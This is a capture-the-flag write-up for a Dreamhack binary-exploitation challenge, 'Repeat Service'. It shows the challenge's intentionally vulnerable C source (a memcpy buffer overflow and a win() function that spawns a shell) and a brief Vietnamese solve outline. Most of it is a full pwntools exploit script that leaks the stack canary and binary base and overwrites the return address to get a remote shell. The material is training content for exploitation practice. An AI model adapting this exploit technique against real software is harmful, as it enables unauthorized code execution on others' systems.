pwn - 1149 - Repeat Service
Repeat Service is a convenient service that allows you to enter a string and output it over and over again. If there's a phrase you want to repeat, try it once! If you keep printing the string, you might be able to get a flag...?
Vulnerability: stack buffer overflow - improper dest check in memcpy()
December 23, 2025
•
December 18, 2025
•
Easy
Recon
Mitigation

Code
// gcc -o main main.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void win() {
system("/bin/sh");
}
int main() {
initialize();
char inp[80] = {0};
char buf[1000] = {0};
puts("Welcome to the Repeat Service!");
puts("Please put your string and length.");
while (1) {
printf("Pattern: ");
int len = read(STDIN_FILENO, inp, 80);
if (len == 0)
break;
if (inp[len - 1] == '\n') {
inp[len - 1] = 0;
len--;
}
int target_len = 0;
printf("Target length: ");
scanf("%d", &target_len);
if (target_len > 1000) {
puts("Too long :(");
break;
}
int count = 0;
while (count < target_len) {
memcpy(buf + count, inp, len);
count += len;
}
printf("%s\n", buf);
}
return 0;
}Solve
Nhập vào pattern size sao cho dư size khi check dẫn đến buffer overflow -> leak canary -> leak binary base -> return address overwrite.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("main_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "host8.dreamhack.games"
port = 8495
return remote(host, port)
p = conn()
def inp(pattern, length):
sla(p, b'Pattern', pattern)
slan(p, b'length', length)
inp(b'A' * 77, 1000)
ru(p, b'A' * 1001)
canary = leak_bytes(b'\0' + rn(p, 7))
pa("canary", canary)
inp(b'A' * 43, 1000)
ru(p, b'A' * 1032)
exe.address = leak_bytes(rn(p, 6), 0x128a)
pa("binary", exe.address)
inp(flat(
canary,
0,
exe.address + 0x0000000000001191, # nop
exe.symbols['win']
).rjust(43, b'A'), 1000)
inp(b'A', 1024)
ia(p)